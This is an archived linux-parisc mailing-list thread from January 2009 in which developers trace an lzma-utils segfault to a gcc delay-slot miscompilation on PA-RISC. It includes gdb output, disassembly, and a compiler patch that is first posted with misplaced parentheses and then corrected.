Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750803AbZADMIy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 07:08:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751475AbZADMIy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 07:08:54 -0500
Original-Received: from cable-85.28.90.237.coditel.net ([85.28.90.237]:41790 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750803AbZADMIx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 07:08:53 -0500
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LJRma-0004Zn-Ls; Sun, 04 Jan 2009 13:08:44 +0100
In-Reply-To: <20090103172125.E7EF44EDA@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.6.1 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1137>


Hi Dave,

Could you do the very same test with -fno-delayed-branch ?

Compiling without that optimization on my system makes the problem go
away. It is really a problem with that part of the code and delayed
branching.

This has been tested with different versions of gcc (4.1.2, 4.2.4,
4.3.1). Both 4.2 and 4.3 exhibit the issue once you compile with
-march=2.0 and -fdelayed-branch.

Also, compiling with -march=2.0 -O0 -fdelayed-branch doesn't produce a
segv but produces the following error message :
hope tests # ../src/lzma/lzma -c < in > out 
../src/lzma/lzma: SetCoderProperties() error

There is really a compiler issue here.


For reference, the Gentoo bug can be found here :
http://bugs.gentoo.org/show_bug.cgi?id=228287


Also, not sure if you noticed but values printed in the gdb backtrace
are completely wrong. But that is a different issue as binaries
generated with any compilers shows the same thing.


Regards,
  Guy

On Sat, 3 Jan 2009 12:21:25 -0500 (EST)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> > to reproduce, just download lzma-4.32.7.tar.gz and do:
> > tar xf lzma-4.32.7.tar.gz
> > cd lzma-4.32.7
> > CXXFLAGS=3D'-O1 -march=3D2.0 -g' ./configure
> > make
> > make check
> 
> Built as above.  I see a segv compressing InBuffer.o in build
> directory.
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x00024638 in NCompress::NLZMA::CEncoder::SetStreams
> (this=0x4158f000, inStream=0x0, outStream=0x3, inSize=0x12,
> outSize=0x0)
> at ../../../../../../src/sdk/7zip/Compress/LZMA/LZMAEncoder.cpp:1251
> 1251	  RINOK(Create());
> 
> There is a problem with memory allocation in MyAlloc:
> 
> Breakpoint 2, MyAlloc (size=72355848)
> at ../../../src/sdk/Common/Alloc.cpp:24 24	  if (size == 0)
> 
> This fails:
> 
> (gdb) 
> NBT4::CMatchFinderBinTree::Create (this=0x32100, historySize=8388608, 
>     keepAddBufferBefore=<value optimized out>, 
>     matchMaxLen=<value optimized out>, keepAddBufferAfter=419)
>     at ../../../../../../src/sdk/7zip/Compress/LZMA/../LZ/BinTree/BinTreeMain.h:97
> 97	    if (_hash != 0)
> (gdb) 
> 101	  return E_OUTOFMEMORY;
> 
> There isn't a check for out of memory at 1251, so segv.  Don't have
> time now to look at memory allocation problem.
> 
> Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 11:41:57 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <20090104164157.A14AC4EF8@hiauly1.hia.nrc.ca>
References: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231087328 4581 80.91.229.12 (4 Jan 2009 16:42:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 16:42:08 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 17:43:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJW4L-0002fd-BV
	for glpp-linux-parisc@gmane.org; Sun, 04 Jan 2009 17:43:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753001AbZADQmA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 11:42:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752908AbZADQmA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 11:42:00 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1478 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752562AbZADQl7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 11:41:59 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A14AC4EF8; Sun,  4 Jan 2009 11:41:57 -0500 (EST)
In-Reply-To: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be> from "Guy Martin" at Jan 4, 2009 01:08:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1138>

> Could you do the very same test with -fno-delayed-branch ?
> 
> Compiling without that optimization on my system makes the problem go
> away. It is really a problem with that part of the code and delayed
> branching.

That's useful information as it narrows the problem considerably.  The
problem might be in the PA backend delay slot handling for PA 2.0 32-bit
calls, or it might be a reorg problem.  The latter are very tricky.

> This has been tested with different versions of gcc (4.1.2, 4.2.4,
> 4.3.1). Both 4.2 and 4.3 exhibit the issue once you compile with
> -march=2.0 and -fdelayed-branch.
> 
> Also, compiling with -march=2.0 -O0 -fdelayed-branch doesn't produce a
> segv but produces the following error message :
> hope tests # ../src/lzma/lzma -c < in > out 
> ../src/lzma/lzma: SetCoderProperties() error
> 
> There is really a compiler issue here.

We need to find by debugging an example of code that is miscompiled.

> Also, not sure if you noticed but values printed in the gdb backtrace
> are completely wrong. But that is a different issue as binaries
> generated with any compilers shows the same thing.

Yes, it's a major problem for debugging and it has gotten worse with
each new GCC versions.  There have been some discussions on the list
about how to improve debugging information.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 13:21:06 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <20090104182106.EF3704EF8@hiauly1.hia.nrc.ca>
References: <20090104164157.A14AC4EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231093279 22342 80.91.229.12 (4 Jan 2009 18:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 18:21:19 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, vapier@gentoo.org,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 19:22:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJXcJ-0003aX-Rz
	for glpp-linux-parisc@gmane.org; Sun, 04 Jan 2009 19:22:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758416AbZADSVK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 13:21:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758595AbZADSVK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 13:21:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2080 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758291AbZADSVJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 13:21:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EF3704EF8; Sun,  4 Jan 2009 13:21:06 -0500 (EST)
In-Reply-To: <20090104164157.A14AC4EF8@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 4, 2009 11:41:57 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1139>

> > Also, compiling with -march=2.0 -O0 -fdelayed-branch doesn't produce a
> > segv but produces the following error message :
> > hope tests # ../src/lzma/lzma -c < in > out 
> > ../src/lzma/lzma: SetCoderProperties() error

With this case, I see the following miscompilation:

0x0002e860 <_ZN9NCompress5NLZMA8CEncoder18SetCoderPropertiesEPKjPK14tagPROPVARIANTj+496>:	ldil L%29000,r1
0x0002e864 <_ZN9NCompress5NLZMA8CEncoder18SetCoderPropertiesEPKjPK14tagPROPVARIANTj+500>:	be,l 554(sr4,r1),sr0,r31
0x0002e868 <_ZN9NCompress5NLZMA8CEncoder18SetCoderPropertiesEPKjPK14tagPROPVARIANTj+504>:	copy r31,rp
0x0002e86c <_ZN9NCompress5NLZMA8CEncoder18SetCoderPropertiesEPKjPK14tagPROPVARIANTj+508>:	copy ret0,r26

The delay slot for the branch is filled twice.  So for now, don't use
-march=2.0 in 32-bit compilations.  4.1 is probably broken too.  The
second copy instruction was supposed to have been moved before the call.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 15:16:40 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <20090104201641.B52B94EDD@hiauly1.hia.nrc.ca>
References: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231100212 10905 80.91.229.12 (4 Jan 2009 20:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 20:16:52 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 21:18:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJZQ9-0003v5-Iw
	for glpp-linux-parisc@gmane.org; Sun, 04 Jan 2009 21:18:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752338AbZADUQo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 15:16:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752291AbZADUQo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 15:16:44 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2785 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751971AbZADUQo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 15:16:44 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B52B94EDD; Sun,  4 Jan 2009 15:16:41 -0500 (EST)
In-Reply-To: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be> from "Guy Martin" at Jan 4, 2009 01:08:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1140>

> Also, compiling with -march=2.0 -O0 -fdelayed-branch doesn't produce a
> segv but produces the following error message :
> hope tests # ../src/lzma/lzma -c < in > out 
> ../src/lzma/lzma: SetCoderProperties() error
> 
> There is really a compiler issue here.

The problem was introduced in revision 68677 on June 29, 2003 when
a change was made to allow ble to be used for local calls.  So, the
problem is present in all versions back to at least 3.4.

The following change should fix the bug.  I'm currently doing a full
build to test.

Thanks for reporting the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: config/pa/pa.c
===================================================================
--- config/pa/pa.c	(revision 143056)
+++ config/pa/pa.c	(working copy)
@@ -7547,7 +7547,9 @@
 	  if (seq_length != 0
 	      && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
 	      && !sibcall
-	      && (!TARGET_PA_20 || indirect_call))
+	      && (!TARGET_PA_20
+		  || indirect_call
+		  || (TARGET_LONG_ABS_CALL || local_call) && !flag_pic))
 	    {
 	      /* A non-jump insn in the delay slot.  By definition we can
 		 emit this insn before the call (and in fact before argument
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Mon, 5 Jan 2009 00:21:25 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20090105002125.648016d0@tuxicoman.be>
References: <20090104130812.69c81ed6@bleh.bxl.tuxicoman.be>
	<20090104201641.B52B94EDD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231111349 10617 80.91.229.12 (4 Jan 2009 23:22:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 23:22:29 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 00:23:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJcJm-0001MI-Ky
	for glpp-linux-parisc@gmane.org; Mon, 05 Jan 2009 00:23:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751531AbZADXWR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 18:22:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751551AbZADXWR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 18:22:17 -0500
Original-Received: from cable-85.28.90.237.coditel.net ([85.28.90.237]:59539 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757562AbZADXWQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 18:22:16 -0500
Original-Received: from wifi007.bxl.tuxicoman.be ([172.20.1.7] helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LJcIJ-0005Nr-Om; Mon, 05 Jan 2009 00:22:11 +0100
In-Reply-To: <20090104201641.B52B94EDD@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1141>

On Sun, 4 Jan 2009 15:16:40 -0500 (EST)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:


> The problem was introduced in revision 68677 on June 29, 2003 when
> a change was made to allow ble to be used for local calls.  So, the
> problem is present in all versions back to at least 3.4.
> 
> The following change should fix the bug.  I'm currently doing a full
> build to test.

I just tested this patch with 4.2.4 and it worked fine !

Thanks for the fix.

Cheers,
  Guy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 18:26:58 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20090104232659.934A34EDD@hiauly1.hia.nrc.ca>
References: <20090105002125.648016d0@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231111639 11293 80.91.229.12 (4 Jan 2009 23:27:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 23:27:19 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 00:28:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJcOL-0002hN-HW
	for glpp-linux-parisc@gmane.org; Mon, 05 Jan 2009 00:28:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752021AbZADX1E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 18:27:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752050AbZADX1E
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 18:27:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3936 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752021AbZADX1D (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 18:27:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 934A34EDD; Sun,  4 Jan 2009 18:26:59 -0500 (EST)
In-Reply-To: <20090105002125.648016d0@tuxicoman.be> from "Guy Martin" at Jan 5, 2009 00:21:25 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1142>

> I just tested this patch with 4.2.4 and it worked fine !

Sigh, I messed up the parens, but its the right idea.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Sun, 4 Jan 2009 18:42:02 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20090104234203.229FA4EDD@hiauly1.hia.nrc.ca>
References: <20090105002125.648016d0@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231112540 13549 80.91.229.12 (4 Jan 2009 23:42:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2009 23:42:20 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 00:43:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJccv-0006hD-T1
	for glpp-linux-parisc@gmane.org; Mon, 05 Jan 2009 00:43:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751586AbZADXmH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2009 18:42:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752000AbZADXmH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 4 Jan 2009 18:42:07 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4033 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751586AbZADXmF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2009 18:42:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 229FA4EDD; Sun,  4 Jan 2009 18:42:03 -0500 (EST)
In-Reply-To: <20090105002125.648016d0@tuxicoman.be> from "Guy Martin" at Jan 5, 2009 00:21:25 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1143>

Guy,

> I just tested this patch with 4.2.4 and it worked fine !

Would you please try this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: config/pa/pa.c
===================================================================
--- config/pa/pa.c	(revision 143062)
+++ config/pa/pa.c	(working copy)
@@ -7547,7 +7547,9 @@
 	  if (seq_length != 0
 	      && GET_CODE (NEXT_INSN (insn)) != JUMP_INSN
 	      && !sibcall
-	      && (!TARGET_PA_20 || indirect_call))
+	      && (!TARGET_PA_20
+		  || indirect_call
+		  || ((TARGET_LONG_ABS_CALL || local_call) && !flag_pic)))
 	    {
 	      /* A non-jump insn in the delay slot.  By definition we can
 		 emit this insn before the call (and in fact before argument
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad code with gcc-4.3 and lzma-utils ?
Date: Mon, 5 Jan 2009 10:54:02 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20090105105402.770fab6e@bleh.bxl.tuxicoman.be>
References: <20090105002125.648016d0@tuxicoman.be>
	<20090104234203.229FA4EDD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231149299 28842 80.91.229.12 (5 Jan 2009 09:54:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2009 09:54:59 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 10:56:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LJmBn-0005po-3v
	for glpp-linux-parisc@gmane.org; Mon, 05 Jan 2009 10:56:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752619AbZAEJyq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2009 04:54:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752326AbZAEJyq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 5 Jan 2009 04:54:46 -0500
Original-Received: from cable-85.28.90.237.coditel.net ([85.28.90.237]:41511 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752027AbZAEJyp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2009 04:54:45 -0500
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LJmAN-00062z-2u; Mon, 05 Jan 2009 10:54:39 +0100
In-Reply-To: <20090104234203.229FA4EDD@hiauly1.hia.nrc.ca>
X-Mailer: Claws Mail 3.6.1 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1144
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1144>

On Sun, 4 Jan 2009 18:42:02 -0500 (EST)
